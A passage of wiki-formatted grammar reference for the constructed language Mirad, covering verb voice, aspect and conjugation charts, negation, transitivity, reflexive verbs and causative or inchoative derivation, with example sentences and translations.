: Intransitive verbs cannot be made passive.  For example, '''tajer'''....''to be born'' is intransitive (takes no object) and has no passive voice form.  However, the transitive verb '''tajber'''....''to bear, give birth'' can be passive, as in '''Ha tudet &lt;u&gt;tajbwa&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was delivered&lt;/u&gt; yesterday'' (as opposed to '''Ha tudet &lt;u&gt;taja&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was born&lt;/u&gt; yesterday.)''  Notice how this works with '''yijer''' (''to open''):
::* '''Ha mes yija.'''....''The door opened (by itself).'' (medio-passive)
::* '''Ha mes yijpa.'''....''The door came open.'' (dynamic medio-passive)
::* '''Yijbu ha mes.'''....''Open the door.'' (transitive active)
::* '''Ha mes yijbwa.'''....''The door was opened (by someone).'' (passive)
: Impassive verbs form their past particple with the ending '''ya''', but these forms are somewhat rare.  Here are some examples:
::* '''per'''....''to go'' -&gt; '''pya'''....''gone''
::* '''tajer'''....''to be born'' -&gt; '''tajya'''....''born'' (ex.'''Jesus tajya bi Marya.''''....''Jesus, born of Mary'')
::* '''tojer'''....''to die'' -&gt; '''tojya'''....''dead''
::* '''loteaser'''....''to disappear'' -&gt; '''loteasya'''....''disappeared'' (ex. '''Ha loteasya tobi be Arogem.'''....''the disappeared persons in Argentina.'')

==== Reflexive Voice ====
: A verb is made reflexive by prefixing the reflexive pronoun '''ut''' (''self''), for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''uttojber'''....''to kill oneself''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''utvyilxer'''....''to wash up''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''utteater'''....''to see oneself''
::* '''yabler'''....''to lift'' &lt;big&gt;→&lt;/big&gt; '''utyabler'''....''to lift oneself'' → '''Utyablu!'''....''Lift yourself up!''
::* '''trer'''....''to know'' &lt;big&gt;→&lt;/big&gt; '''uttrer'''....''to know oneself'' → '''Uttru!'''....''Know thyself!''

==== Reciprocal Voice ====

: A verb is made reciprocal by prefixing the reciprocal pronoun '''hyuit'''....''one another'', for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''hyuittojber'''....''to kill one another''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''hyuitvyilxer'''....''to wash one another''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''hyuitteater'''....''to see one another''

: Both the reflexive pronoun and reciprocal pronoun can be used as standalone objects.  However, the plural form '''yut''' is used if the subject is plural, for example:

::* '''Yit vyilxa &lt;u&gt;yut&lt;/u&gt;.'''....''They (f.) washed up. (= washed &lt;u&gt;selves&lt;/u&gt;).''
::* '''Ha twobeti dizeuda &lt;u&gt;hyuit&lt;/u&gt;.'''....''The boys laughed at &lt;u&gt;one another&lt;/u&gt;.''
: The word '''hyuit''' is a hybrid of '''hyit'''....''the same one'' combined with '''hyut'''....''the other one''.

==== Aspects Revisited ====

: Mirad verbs have the following aspects:

::* '''''Simple''''' -- this is the default aspect, shown above, i.e. non-progressive, non-perfect, non-imminent, and non-potential.
::* '''''Progressive''''' -- this is an aspect where the verb describes an on-going action or state spread over time.
::* '''''Perfect''''' -- this presents the action or state as anterior, or completed prior to another action or state.
::* '''''Immininent''''' -- this describes an action or state ''about to happen.''
::* '''''Potential''''' -- this refers to an action or state where something is ''possible''.

==== The Simple Aspect ====

: The following chart presents Mirad verbs in the Simple aspect.  In the active voice, the tense vowels '''a''', '''e''', '''o''', and '''u''' are affixed to the stem.  In the passive voice, the passive marker consonant '''w''' is inserted between the stem and the final tense vowels.  The simple present tense refers to actions or states that are habitual (''I regularly go to school.''), regular (''The earth revolves around the sun.''), or permanent (''Blue is a color.'').  The simple past refers to actions or states that occurred at a fixed point in time (''I did my homework last night.'').  The simple future refers to actions or states that will occur at some particular point in the future (''The sun will rise tomorrow at dawn.'').  The simple atemporal hypothetical ( = conditional) refers to an imagined action or state that has not be realized (''You would make a good president.'').
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Simple Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Simple !! Present !! Indicative 
| '''At x&lt;u&gt;e&lt;/u&gt;'''....''I do'' || '''Has x&lt;u&gt;we&lt;/u&gt;'''....''It is done''
|-
!row=1| Simple !! Past !! Indicative 
| '''At x&lt;u&gt;a&lt;/u&gt;'''....''I did'' || '''Has x&lt;u&gt;wa&lt;/u&gt;'''....''It was done''
|-
!row=1| Simple !! Future !! Indicative 
| '''At x&lt;u&gt;o&lt;/u&gt;'''....''I will do'' || '''Has x&lt;u&gt;wo&lt;/u&gt;'''....''It will be done''
|-
!row=1| Simple !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;u&lt;/u&gt;'''....''I would do''&lt;sup&gt;1&lt;/sup&gt; || '''Has x&lt;u&gt;wu&lt;/u&gt;'''....''It would be done''
|}
: 1: Absence of tense (Atemporal) + Hypothetical mood = '''''conditional'''''.

==== The Progressive Aspect ====

: The following chart presents Mirad verbs in the Progressive aspect.  The present tense vowel '''e''' followed by a buffer consonant, are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the active voice, or  '''w''' in the passive voice.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller; &quot;
|+ Progressive Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Progressive !! Present !! Indicative 
| '''at x&lt;u&gt;eye&lt;/u&gt;'''....''I am doing'' || '''Has x&lt;u&gt;ewe&lt;/u&gt;'''....''it is being done''
|-
!row=1| Progressive !! Past !! Indicative 
| '''at x&lt;u&gt;eya&lt;/u&gt;'''....''I was doing'' || '''Has x&lt;u&gt;ewa&lt;/u&gt;'''....''it was being done''
|-
!row=1| Progressive !! Future !! Indicative 
| '''at x&lt;u&gt;eyo&lt;/u&gt;'''....''I am going to be doing'' || '''Has x&lt;u&gt;ewo&lt;/u&gt;'''....''it will be happening''
|-
!row=1| Progressive !! Atemporal !! Hypothetical 
| '''at x&lt;u&gt;eyu&lt;/u&gt;'''....''I would be doing'' || '''Has x&lt;u&gt;ewu&lt;/u&gt;'''....''it would be happening''
|}

==== The Perfect Aspect ====

: The following chart presents Mirad verbs in the Perfect aspect.  The past tense vowel '''a''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice.   

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Perfect Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Perfect !! Present !! Indicative 
| '''At x&lt;u&gt;aye&lt;/u&gt;'''....''I have done'' || '''Has x&lt;u&gt;awe&lt;/u&gt;'''....''It has been done''
|-
!row=1| Perfect !! Past !! Indicative 
| '''At x&lt;u&gt;aya&lt;/u&gt;'''....''I had done'' || '''Has x&lt;u&gt;awa&lt;/u&gt;'''....''It had been done''
|-
!row=1| Perfect !! Future !! Indicative 
|'''At x&lt;u&gt;ayo&lt;/u&gt;'''....''I will have done'' || '''Has x&lt;u&gt;awo&lt;/u&gt;'''....''It will have been done''
|-
!row=1| Perfect !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;ayu&lt;/u&gt;'''....''I would have done'' || '''Has x&lt;u&gt;awu&lt;/u&gt;'''....''It would have been done''
|}

==== The Imminent Aspect ====

: The following chart presents Mirad verbs in the Imminent aspect (sometimes referred to as the Prospective aspect).  The future tense vowel '''o''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. Not that only indicative mood imminent tenses are ever used.  

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Imminent Aspect
|-
! Aspect || Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Imminent !! Present !! Indicative 
| '''At x&lt;u&gt;oye&lt;/u&gt;'''....''I am about to do'' || '''Has x&lt;u&gt;owe&lt;/u&gt;'''....''It is about to be done''
|-
!row=1| Imminent !! Past !! Indicative 
| '''At x&lt;u&gt;oya&lt;/u&gt;'''....''I was about to do'' || '''Has x&lt;u&gt;owa&lt;/u&gt;'''....''It was about to be done''
|}

==== The Potential Aspect ====

: The following chart presents Mirad verbs in the Potential aspect.  The hypothetical vowel '''u''' followed by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. The future potential and hypothetical potential aspects are never used. 

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Potential Aspect
|-
! ASPECT !! TENSE !! MOOD !! ACTIVE VOICE !! PASSIVE VOICE
|-
!row=1| Potential !! Present !! Indicative 
| '''At x&lt;u&gt;uye&lt;/u&gt;'''....''I am to do'' || '''Has x&lt;u&gt;uwe&lt;/u&gt;'''....''It is to be done, it is doable''
|-
!row=1| Potential !! Past !! Indicative 
| '''At x&lt;u&gt;uya&lt;/u&gt;'''....''I was to do'' || '''Has x&lt;u&gt;uwa&lt;/u&gt;'''....''It was to be done, it was doable''
|}

== Verb Conjugation Chart ==

: The following chart presents the totality of the Mirad affirmative verb conjugation system using the verb '''xer'''....''to do'' and its passive '''xwer'''....''to be done, happen''.  The rows beginning with a light blue background are finite forms, while those beginning with light green are non-finite forms.

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Conjugation Chart
|- valign=top
!rowspan=2| State !!rowspan=2| Mood !!rowspan=2| Aspect !!rowspan=2| Tense !! colspan=4|Voice
|-
! Active!!Passive
|-
! rowspan=16 style=&quot;background: lightblue;{{text default color}};&quot;|Finite !!rowspan=3| Indicative !!rowspan=4| Simple !! Present
| '''xe''' &lt;br&gt;''does''||'''xwe'''&lt;br&gt;''is done, happens''
|-
! Past
| '''xa''' &lt;br&gt;''did''||'''xwa'''&lt;br&gt;''was done, happened''
|-
!  Future
| '''xo''' &lt;br&gt;''will do''||'''xwo'''&lt;br&gt;''will be done, will happen''
|-
! Hypothetical|| 
| '''xu''' &lt;br&gt;''would do, do!''||'''xwu'''&lt;br&gt;''would be done, would happen, be done!''
|-
!rowspan=3| Indicative !!rowspan=4| Progressive !! Present 
| '''xeye'''&lt;br&gt;''is doing''||'''xewe'''&lt;br&gt;''is being done, is happening''
|-
!  Past 
| '''xeya''' &lt;br&gt;''was doing''||'''xewa'''&lt;br&gt;''was doing, was happening''
|-
!  Future 
| '''xeyo'''&lt;br&gt;''will be doing''||'''xewo'''&lt;br&gt;''will be happening''
|-
! Hypothetical|| 
| '''xeyu''' &lt;br&gt;''would be doing''&lt;br&gt;''be doing!''||'''xewu'''&lt;br&gt;''would be happening''
|-
!rowspan=3|Indicative !! rowspan=4| Perfect !! Present
| '''xaye''' &lt;br&gt;''has done''||'''xawe''' &lt;br&gt;''has been done, has happened''
|-
!   Past 
| '''xaya''' &lt;br&gt;''had done''||'''xawa'''&lt;br&gt;''had been done, had happened''
|-
!  Future 
| '''xayo''' &lt;br&gt;''will have done''||'''xawo''' &lt;br&gt;''will have been done, will have happened''
|-
! Hypothetical !! 
| '''xayu''' &lt;br&gt;''would have done''||'''xawu'''&lt;br&gt;''would have been done, would have happened''
|-
!rowspan=4| Indicative !! rowspan=2|Imminent !! Present
| '''xoye''' &lt;br&gt;''is about to do''||'''xowe'''&lt;br&gt;''is about to be done, is about to happen''
|-
! Past
| '''xoya'''&lt;br&gt;''was to be done'' ||'''xowa'''&lt;br&gt;''was to be done, was to happen''
|-
! rowspan=2|Potential !! Present
| '''xuye'''&lt;br&gt;''is supposed to do'' ||'''xuwe''' &lt;br&gt;''is supposed to happen''
|-
!  Past
| '''xuya''' &lt;br&gt;''was supposed to do''||'''xuwa'''&lt;br&gt;''was supposed to be done, was supposed to happen''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot;|Infinitive !!  !! Simple !! rowspan=8|
| '''xer'''&lt;br&gt;''to do''||'''xwer'''&lt;br&gt;''to be done, to happen''
|-
! !! Perfect 
| '''xayer'''&lt;br&gt;''to have done''||'''xawer'''&lt;br&gt;''to have been done, to have happend''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=4 style=&quot;background: lightgreen;{{Text default color}};&quot;|Participle !! !! Progressive
| '''xea'''&lt;br&gt;''doing'' ||'''xewa'''&lt;br&gt;''being done, happening''
|-
!  !! Perfect
| '''xya''' &lt;br&gt;''having done''||'''xwa'''&lt;br&gt;''done, happened''
|-
!  !! Imminent
| '''xoa''' &lt;br&gt;''about to do''||'''xowa'''&lt;br&gt;''about to happen''
|-
!  !! Potential
| '''xua'''&lt;br&gt;''bound to do'' ||'''xuwa'''&lt;br&gt;''doable''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
!rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot; |Gerund
!  !! Simple !!
| '''xen''' &lt;br&gt;''doing''||'''xwen''' &lt;br&gt;''being done, happening, event''
|-
!  !! Perfect !!
| '''xayen'''&lt;br&gt;''having done''||'''xawen'''&lt;br&gt;''having happened''
|}
: Note 1:  Intransitive verbs such as '''per''' ''to go'' have no passive forms.  An expression such as ''They are gone.'' would be translated as '''Yit se pya'''.

== Negative Forms ==
: All of the above verb forms are affirmative.  The indicative and conditional forms can be made negative by using the negative adverb '''voy''' (''not'', '' 'nt'', ''doesn't'', ''don't'').  Those forms that are subjunctive, jussive, or imperative ending in '''-u''' use the negative subordinate conjunction '''von''' (''don't'', ''let not'', ''lest''). 
: '''voy'''....''not'' 
::* '''At &lt;u&gt;voy&lt;/u&gt; te.'''....''I &lt;u&gt;don&lt;/u&gt;'t know.'' (indicative)
::* '''&lt;u&gt;Voy&lt;/u&gt; mamilo.'''....''It will &lt;u&gt;not&lt;/u&gt; rain.'' (indicative)
::* '''At &lt;u&gt;voy&lt;/u&gt; xu hus.'''....''I would &lt;u&gt;not&lt;/u&gt; do that.'' (conditional)
: '''von'''....''Let's not, don't, let it not''
::* '''&lt;u&gt;Von&lt;/u&gt; mamilu.'''....''&lt;u&gt;Let it not&lt;/u&gt; rain.'' (subjunctive)
::* '''&lt;u&gt;Von&lt;/u&gt; yat fuyaku.'''....''&lt;u&gt;Let&lt;/u&gt; us &lt;u&gt;not&lt;/u&gt; despair.'' (jussive)
::* '''&lt;u&gt;Von&lt;/u&gt; pu!'''....''&lt;u&gt;Don't&lt;/u&gt; go.'' (imperative)
: Participles, gerunds, and infinitives can be negated with the prefix '''o-''' (''un-, non-'').
::* '''tosea'''....''feeling'' -&gt; '''otosea'''....''unfeeling''
::* '''xwa'''....''done'' -&gt; '''oxwa'''....''undone''
::* '''teliwa'''....''eaten'' -&gt; '''oteliwa'''....''uneaten''
::* '''tejen'''....''living'' -&gt; '''otejen'''....''not living''
::* '''buen'''....''giving'' -&gt; '''obuen'''....''not giving''
::* '''buer'''....''to give'' -&gt; '''obuer'''....''not to give''
::* '''ter'''....''to know'' =&gt; '''oter'''....''not to know, i.e. to ignore''
: Partciples, gerunds, and infinitives can also be negated with the word '''voy'' (''not''), eg:
::* '''voy tea ha dud'''....''not knowing the answer''
::* '''gel voy tejea'''....''like not living''
::* '''av voy xen hes'''....''for not doing something''

== How to Express Certain English Tenses ==
: English speakers have some tenses that do not fit into the above schema, and so Mirad uses a combination of verbs to achieve the same sense:
::* The English tense ''I have been studying French for four years.'' is translated in Mirad by '''At saye tixea Ferad ji uwa jabi.''' (Mirad present perfect of '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I had been studying'' is translated in Mirad by '''At saya tixer''', the past perfect of the verb '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I am going to be starring in that role.'' is translated in Mirad by '''At dezdebeyo be hua dezgon.''' (Mirad future progressive).
 
::* The modern Black English tense ''Don't you be doing that.'' is handled in Mirad by '''Von et xeyu hus.''' (Mirad imperative progressive).

== Transitive vs. Intransitive Verbs ==
: Transitive verbs, which can take a direct object, oppose themselves to intransitive verbs, which do not take a direct object.  Some verbs are marked overtly for transitivity.

: Verbs that end in '''xer''' (''to do, -ify, -ize'') are by nature transitive, and often have intransitive counterparts in '''ser''' (''to be, become, -ify, -ize'').  Likewise, verbs ending in '''ber''' (''to put, take'') are transitive and have intransitive counterparts in '''per''' (''to go'').  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Transitive vs. Intransitive
|-
!  Transitive !! Intransitive
|-
| '''xer'''....''do'' || '''ser'''....''be''
|-
| '''agxer'''....''grow (something)'' || '''agser'''....''grow (up)''
|-
| '''amxer'''....''heat, make hot'' || '''amser'''....''become hot, heat up''
|-
| '''puxer'''....''throw'' || '''puser'''....''jump''
|-
| '''per'''....''go'' || '''ber'''....''put''
|-
| '''aber'''....''put on'' || '''aper'''....''get on''
|-
| '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''poxer'''....''stop (something)'' || '''poser'''....''(come to a) stop''
|-
| '''yuber'''....''bring'' || '''yuper'''....''approach''
|-
| '''yeber'''....''insert'' || '''yeper'''....''enter''
|}

::* '''At &lt;u&gt;agxe&lt;/u&gt; vobi.'''....''I &lt;u&gt;grow&lt;/u&gt; [TRANSITIVE] plants.''
::* '''Ha vobi &lt;u&gt;agseye&lt;/u&gt; ig.'''....''The plants &lt;u&gt;are growing&lt;/u&gt; [INTRANSITIVE] fast.''

::* '''&lt;u&gt;Poxu&lt;/u&gt; ha pur!'''....''&lt;u&gt;Stop&lt;/u&gt; [TRANSITIVE] the car!''
::* '''Ha pur &lt;u&gt;posa&lt;/u&gt;.'''....''The car &lt;u&gt;stopped&lt;/u&gt; [INTRANSITIVE].''

::* '''At &lt;u&gt;yaba&lt;/u&gt; ha mis.'''....''I &lt;u&gt;raised&lt;/u&gt; [TRANSITIVE] the window.''
::* '''Ha amar &lt;u&gt;yapaye&lt;/u&gt;.'''....''The sun &lt;u&gt;has risen&lt;/u&gt; [INTRANSITIVE].''


=== Marking -jer Verbs for Transitivity ===

: Note the following verbs, whose stems end in '''j''' are hard to pronounce with intransitive '''s''' and transitive '''x''', so these two endings are placed with '''p''' and '''b''', respectively, although the presence of the '''p''' is optional, i.e. it's presence or absence can slightly change the meaning from static to dynamic, eg. '''tujer'''....''to sleep'' vs. '''tujper'''....''to fall asleep''.  The transitive forms can be either active or passive.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Marking -jer Verbs for Transitivity
|-
! colspan=2|Intransitive !! colspan=2|Transitive
|-
! Static !! Dynamic !! Active !! Passive
|-
| '''Ha mes &lt;u&gt;yija&lt;/u&gt;'''&lt;br&gt;''The door &lt;u&gt;opened&lt;/u&gt;.'' || '''Ha nasyef &lt;u&gt;yijpa&lt;/u&gt;'''&lt;br&gt;''The purse &lt;u&gt;came open&lt;/u&gt;.'' || '''At &lt;u&gt;yijba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;opened&lt;/u&gt; the door.'' || '''Ha mes &lt;u&gt;yijbwa&lt;/u&gt; bey yelput.'''&lt;br&gt;''The door &lt;u&gt;was opened&lt;/u&gt; by an intruder''
|-
| '''Ha mes &lt;u&gt;yuja&lt;/u&gt;.'''&lt;br&gt;''The door &lt;u&gt;closed&lt;/u&gt;.'' || '''Ha yanup &lt;u&gt;yujpa&lt;/u&gt;.'''&lt;br&gt;''The meeting &lt;u&gt;adjourned&lt;/u&gt;.'' || '''At &lt;u&gt;yujba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;closed&lt;/u&gt; the door.''||'''Ha mes yeyfe &lt;u&gt;yujbwer&lt;/u&gt; ja sumjob.'''&lt;br&gt;''The door should &lt;u&gt;be closed&lt;/u&gt; by bedtime.''
|-
| '''Ha dezun &lt;u&gt;ijaye&lt;/u&gt;.'''&lt;br&gt;''The play &lt;u&gt;has started&lt;/u&gt;.''||'''Ha par &lt;u&gt;ijpa&lt;/u&gt; boy poys.'''&lt;br&gt;''The car &lt;u&gt;started up&lt;/u&gt; immediately.'' ||'''At &lt;u&gt;ijba&lt;/u&gt; ata tyal.'''&lt;br&gt;''I &lt;u&gt;started&lt;/u&gt; my meal.''||'''Ha tyal &lt;u&gt;ijbwa&lt;/u&gt; jwa.'''&lt;br&gt;''The meal &lt;u&gt;was started&lt;/u&gt; early.''
|-
| '''Ha dezun &lt;u&gt;ujaye&lt;/u&gt;.'''&lt;br&gt;''The play has &lt;u&gt;ended&lt;/u&gt;.''||'''Ata yex &lt;u&gt;ujpaye&lt;/u&gt;.'''&lt;br&gt;''My work &lt;u&gt;has come to an end&lt;/u&gt;.'' || '''A &lt;u&gt;ujba&lt;/u&gt; ha dyes.'''&lt;br&gt;''I &lt;u&gt;finished&lt;/u&gt; the book.''||'''Ha dyes hyoj &lt;u&gt;ujbwa&lt;/u&gt;.'''&lt;br&gt;''The book never &lt;u&gt;got finished&lt;/u&gt;.''
|-
| '''Ha tob &lt;u&gt;toja&lt;/u&gt; zomoj.'''&lt;br&gt;''The man &lt;u&gt;died&lt;/u&gt; yesterday evening.''||'''Ha tob &lt;u&gt;tojpa&lt;/u&gt;.'''&lt;br&gt;''The man &lt;u&gt;dropped dead.&lt;/u&gt;'' || '''Hot &lt;u&gt;tojba&lt;/u&gt; ha twob?'''&lt;br&gt;''Who &lt;u&gt;killed&lt;/u&gt; the man?''||'''Ha twob &lt;u&gt;tojbwa&lt;/u&gt; bey ita tayd.'''&lt;br&gt;''The man &lt;u&gt;was killed&lt;/u&gt; by his wife.''
|-
| '''&lt;u&gt;Teju&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Live!&lt;/u&gt;.''||'''&lt;u&gt;Tejpu!&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Come alive!&lt;/u&gt;.'' || '''Yat efe &lt;u&gt;tejber&lt;/u&gt; ha twob.'''&lt;br&gt;''We need to &lt;u&gt;revive&lt;/u&gt; the man.''||'''Ha twob yofwa &lt;u&gt;tejbwer&lt;/u&gt;.'''&lt;br&gt;''The man could not &lt;u&gt;be revived&lt;/u&gt;.''
|-
| '''Ha tobot &lt;u&gt;taja&lt;/u&gt; zojub.'''&lt;br&gt;''The baby &lt;u&gt;was born&lt;/u&gt; yesterday.'' || '''Hoj ha tobot &lt;u&gt;tajpo&lt;/u&gt;?'''&lt;br&gt;''When &lt;u&gt;will&lt;/u&gt; the baby &lt;u&gt;pop out&lt;/u&gt;?'' || '''Iyt &lt;u&gt;tajba&lt;/u&gt; awa twobot zojub.'''&lt;br&gt;''She &lt;u&gt;gave birth&lt;/u&gt; to a baby boy yesterday.''||'''Ha twobot &lt;u&gt;tajbwa&lt;/u&gt; jo eymoj.'''&lt;br&gt;''The baby boy was &lt;u&gt;birthed&lt;/u&gt; after midnight.''
|-
| '''At &lt;u&gt;tija&lt;/u&gt; jwe.'''&lt;br&gt;''I &lt;u&gt;woke up&lt;/u&gt; on time.''||'''It voy &lt;u&gt;tijpa&lt;/u&gt;.'''&lt;br&gt;''He did not &lt;u&gt;come to.&lt;/u&gt;.'' || '''At &lt;u&gt;tijbo&lt;/u&gt; et jwa.'''&lt;br&gt;''I will &lt;u&gt;wake (you) up&lt;/u&gt; early.''||'''At voy fe &lt;u&gt;tijbwo&lt;/u&gt; gra jwa.'''&lt;br&gt;''I don't want to &lt;u&gt;be woken&lt;/u&gt; too early.''
|-
| '''At &lt;u&gt;tujeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;sleeping.&lt;/u&gt;''||'''At &lt;u&gt;tujpeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;falling sleep&lt;/u&gt;.'' || '''At &lt;u&gt;tujbo&lt;/u&gt; it.'''&lt;br&gt;''I will &lt;u&gt;put (him) to sleep.&lt;/u&gt;.''||'''Ha tobot &lt;u&gt;tujbwo&lt;/u&gt; glojo.'''&lt;br&gt;''The baby &lt;u&gt;will be put to sleep&lt;/u&gt; soon.''
|}

== Reflexive Verbs ==
[[File:TWC Hokitika Gorge • Stewart Nimmo • MRD 1.jpg|thumb|]]
: Reflexive verbs, where the object refers back to the subject, work just as in English, where the object is a reflexive pronoun, eg.:

::* '''At tujboye aut.'''....''I am going to kill myself.''
::* '''Tru eut!'''....''Know thyself!''
::* '''It gobla iut bey goblar.'''....''He cut himself with a knife.''
::* '''Ot yefe yuxer out.'''....''One must help oneself.''

: Sometimes, verbs are reflexive lexically and incorporate the reflexivity in the actual verb form using '''ut''' as the prefix:

::* '''uttujber'''....''commit suicide (= self-kill)''
::* '''utboler'''....''support oneself (= self-support)''
::* '''utdider'''....''wonder (= self-ask)''

: Sometimes, verbs are used reflexively in Mirad even though they are used simply intransitively in English, eg.:

::* '''Et efe &lt;u&gt;vyilxer eut&lt;/u&gt;.'''....''You need to wash up [= &lt;u&gt;wash yourself&lt;/u&gt;].'' (or)
::* '''Et efe &lt;u&gt;utvyilxer&lt;/u&gt;.'''....''You need to wash up  [= &lt;u&gt;self-wash&lt;/u&gt;].''

== Omission of Prepositions After Certain Verbs ==

:: Some verbs inherently incorporate a preposition and so it is not necessary to use that assumed preposition before what would normally be an indirect object.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Inherent Propositions
|-
! Preposition-Incorporating Verb !! Example
|-
| '''per'''....''go (to)'' || '''Pu tam!''' (Not: '''Pu bu tam!''') ''Go home.''&lt;br&gt;'''It pa Paris.'''....''He went to Paris.''
|-
| '''der'''....''say (to), tell'' || '''Du at eta dyun.'''....''Tell me your name.''&lt;br&gt;'''Du at has.'''....''Tell it to me.''
|-
| '''peser'''....''wait (for)'' || '''Pesu at.'''....''Wait for me.''
|-
| '''buer'''....''give (to)'' || '''Buu at hua dyes.'''....''Give me that book.''
|}

:: As in English, in omitting the inherent preposition in a sentence with both a direct object and an indirect object, place the indirect object before the direct object. If the direct object comes first, then the preposition must be overtly specified before the indirect object, eg. '''Buu &lt;u&gt;at&lt;/u&gt; hus.'''....''Give me that.'' or '''Buu hus &lt;u&gt;bu at&lt;/u&gt;.'''....''Give that &lt;u&gt;to me&lt;/u&gt;.''  See more about this in the chapter on [[Mirad_Grammar/Syntax|Syntax]].

== Causative vs. Inchoative Verbs ==
: A causative verb has the sense ''to make something have some quality'', whereas an inchoative verbs means ''to become or take on the quality of something.''

=== Derived from Adjectives ===

: Adjectives can be converted into transitive/causative and intransitive/inchoative verbs.  Causative verbs are always transitive (taking an object), while inchoative verbs are intransitive (not taking an object).  English causative / inchoative verbs often end in ''-ify'' like ''magnify'', or ''-ate'', ''liberate'', or ''ize'', like ''sensitize''.

: To derive a causative verb from an adjective, add the suffix '''-xer'''....''to do'' to either the stem or the whole adjective (with the '''a''' ending).  Whether you do the former or the latter depends on several factors, but the end result is slightly different in nuance.  A verb with adjective stem + '''-xer''' is slightly more idiomatic or less literal than the adjective stem + '''axer'''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ -axer vs -xer in Transitive Verbs
|-
! Adjective !! Causative/Transitive !! Causative/Transitive
|-
! '''-xer''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to magnify'' || '''agxer'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to unify'' || '''anxer'''&lt;br&gt;''to unite''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to separate'' || '''yonxer'''&lt;br&gt;''to cut''
|-
| '''yaga'''&lt;br&gt;''long'' || '''yag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to lengthen'' || '''yagxer'''&lt;br&gt;''to stretch''
|-
| '''yuga'''&lt;br&gt;''slow'' || '''yug&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to retard'' || '''yugxer''' &lt;br&gt;''to brake''
|-
| '''sana'''&lt;br&gt;''formal'' || '''san&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to formalize'' || '''sanxer'''&lt;br&gt;''to form''
|-
| '''gea'''&lt;br&gt;''equal'' || '''ge&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to equalize'' || '''gexer'''&lt;br&gt;''to equal, equate''
|-
| '''jaa'''&lt;br&gt;''prior'' || '''ja&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to prioritize'' || '''jaxer'''&lt;br&gt;''to prepare''
|-
| '''aota'''&lt;br&gt;''personal'' || '''aot&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to personalize'' || '''aotxer'''&lt;br&gt;''to personify''
|}

: To derive an inchoative verb from an adjective, add the suffix '''ser'''....''to be'' to either the stem or the whole adjective.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Creating Inchoative Verbs
|-
! Adjective !! Inchoative/Intransitive !! Inchoative/Intransitive
|-
! '''-ser''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to get bigger'' || '''agser'''&lt;br&gt;''to grow''
|-
